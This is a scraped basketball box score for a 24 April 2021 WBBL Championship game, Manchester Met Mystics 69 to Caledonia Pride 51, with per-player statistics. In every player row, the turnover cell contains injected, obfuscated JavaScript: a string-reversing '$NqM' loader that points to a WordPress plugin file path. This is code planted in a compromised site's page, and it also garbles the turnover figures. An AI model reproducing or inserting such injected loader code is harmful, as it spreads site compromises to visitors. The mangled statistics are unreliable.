WBBL Championship 24th April 2021 - 2:00 pm
Details
Date | Time | League | Season | Full Time |
---|---|---|---|---|
24th April 2021 | 2:00 pm | WBBL Championship | 2020/21 | 40' |
Results
Team | 1 | 2 | 3 | 4 | T |
---|---|---|---|---|---|
Manchester Met Mystics | 22 | 19 | 16 | 12 | 69 |
Caledonia Pride | 14 | 6 | 18 | 13 | 51 |
Manchester Met Mystics
# | Player | Position | PTS | REB | AST | STL | BLK | FGM | FGA | FG% | 3PM | 3PA | 3P% | FTM | FTA | FT% | OFF | DEF | TO | PF |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
45 | Helen Naylor | - | 25 | 13 | 3 | 1 | 0 | 8 | 17 | 47.1 | 2 | 3 | 66.7 | 7 | 8 | 87.5 | 4 | 9 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
8 | Georgia Jones | - | 16 | 0 | 5 | 3 | 0 | 5 | 18 | 27.8 | 1 | 6 | 16.7 | 5 | 7 | 71.4 | 0 | 0 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
3 | Nicolette Fong Lyew Quee | - | 6 | 4 | 3 | 4 | 0 | 3 | 8 | 37.5 | 0 | 3 | 0.0 | 0 | 0 | 0 | 2 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
0 | Rosie Hynes | - | 6 | 2 | 1 | 1 | 0 | 2 | 6 | 33.3 | 0 | 1 | 0.0 | 2 | 3 | 66.7 | 0 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
24 | Sofia Song | - | 6 | 2 | 1 | 0 | 0 | 2 | 8 | 25.0 | 2 | 5 | 40.0 | 0 | 0 | 0 | 0 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
10 | Rheanne Bailey | - | 4 | 3 | 0 | 1 | 0 | 2 | 6 | 33.3 | 0 | 3 | 0.0 | 0 | 0 | 0 | 1 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
20 | Dominique Allen | - | 2 | 3 | 2 | 2 | 1 | 1 | 1 | 100.0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
9 | Hannah Shaw | - | 2 | 6 | 0 | 1 | 0 | 1 | 7 | 14.3 | 0 | 0 | 0 | 0 | 0 | 0 | 4 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
13 | Vanessa Akra | - | 2 | 10 | 0 | 1 | 0 | 1 | 3 | 33.3 | 0 | 0 | 0 | 0 | 0 | 0 | 5 | 5 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
25 | Charli Wroe | - | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
23 | Jade Mbam | - | 0 | 3 | 0 | 0 | 0 | 0 | 2 | 0.0 | 0 | 1 | 0.0 | 0 | 0 | 0 | 0 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
32 | Natalie Feurtado | - | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 0.0 | 0 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
Total | 69 | 47 | 15 | 14 | 1 | 25 | 77 | 32.5 | 5 | 22 | 22.7 | 14 | 20 | 70.0 | 16 | 31 | 0 | 14 |
Caledonia Pride
# | Player | Position | PTS | REB | AST | STL | BLK | FGM | FGA | FG% | 3PM | 3PA | 3P% | FTM | FTA | FT% | OFF | DEF | TO | PF |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
20 | Private: Pollyanna Storie | Forward | 15 | 6 | 0 | 0 | 1 | 5 | 7 | 71.4 | 2 | 3 | 66.7 | 3 | 4 | 75.0 | 0 | 6 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
4 | Maud Ranger | Guard | 11 | 13 | 2 | 1 | 0 | 3 | 18 | 16.7 | 3 | 10 | 30.0 | 2 | 2 | 100.0 | 1 | 12 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
5 | Sian Phillips | Forward | 11 | 16 | 1 | 0 | 1 | 3 | 16 | 18.8 | 0 | 0 | 0 | 5 | 8 | 62.5 | 9 | 7 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">04 | |
19 | Private: Ella Doherty | Guard | 7 | 5 | 2 | 0 | 0 | 3 | 13 | 23.1 | 1 | 3 | 33.3 | 0 | 0 | 0 | 3 | 2 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">02 | |
25 | Elise Tweedie | Center | 4 | 4 | 0 | 1 | 0 | 2 | 6 | 33.3 | 0 | 0 | 0 | 0 | 0 | 0 | 3 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
8 | Taryn Cummins | Guard | 2 | 0 | 0 | 0 | 0 | 1 | 1 | 100.0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">00 | |
50 | Eabha Kerr | Forward | 1 | 7 | 1 | 0 | 0 | 0 | 5 | 0.0 | 0 | 0 | 0 | 1 | 4 | 25.0 | 4 | 3 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">04 | |
6 | Rose Harvey | Guard | 0 | 1 | 4 | 0 | 0 | 0 | 1 | 0.0 | 0 | 1 | 0.0 | 0 | 0 | 0 | 0 | 1 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">03 | |
22 | Sophie Loughran | Forward | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 0 | <td class="data-$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/t" data-label="TO">01 | |
Total | 51 | 54 | 10 | 2 | 2 | 17 | 67 | 25.4 | 6 | 17 | 35.3 | 11 | 18 | 61.1 | 22 | 32 | 0 | 16 |